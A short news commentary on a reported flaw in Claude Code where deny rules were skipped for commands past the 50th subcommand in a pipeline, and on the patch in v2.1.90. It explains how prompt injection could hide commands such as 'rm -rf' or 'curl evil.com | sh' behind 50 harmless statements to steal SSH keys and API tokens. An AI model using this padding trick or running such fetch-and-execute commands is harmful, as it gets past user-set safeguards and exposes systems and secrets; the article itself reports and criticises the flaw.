This is the kind of bug that makes a developer go cold. Adversa, a Tel Aviv-based security firm, went public in early April with the fact that Claude Code’s deny rules were quietly being skipped on long command chains. The cause: a hardcoded limit of 50 subcommands – anything past that ran without a security check.
How the bypass works
If your config says ‘never run rm’, you assume rm -rf will be blocked. And it is – as long as the command stands alone. But the moment a pipeline has more than 50 subcommands, Claude Code turns off the deeper inspection. The 51st command runs unfiltered. An attacker who manipulates a prompt can hide their rm or curl evil.com | sh behind 50 harmless statements.
Why the limit existed in the first place
The honest answer: token savings. Running a thorough security analysis on every subcommand costs tokens, and someone decided 50 was a reasonable cutoff. Adversa found a more correct version of the parser sitting in Anthropic’s own codebase, one that doesn’t need the limit – it just was never enabled in the public builds.
Who was exposed
The riskiest setup: CI/CD pipelines running Claude Code in non-interactive mode. There the ‘ask’ fallback auto-approves – anything that slipped through ran without confirmation. Adversa lists SSH keys and API tokens as realistic exfiltration targets.
The patch
Anthropic shipped Claude Code v2.1.90 on April 6, restoring deny rule enforcement independent of pipeline length. If you use Claude Code in CI, update now. This isn’t optional, it’s mandatory.
My take
What gets to me about this isn’t the bug itself – bugs happen. It’s that the correct fix already existed inside the codebase and just wasn’t shipped. Saving tokens is a legitimate optimization problem, but when the trade-off between performance and security in the default path lands on the side of performance, something’s broken in the threat modeling. Hopefully someone at Anthropic is hanging a poster somewhere: ‘Defaults have to be safe.’
Sources: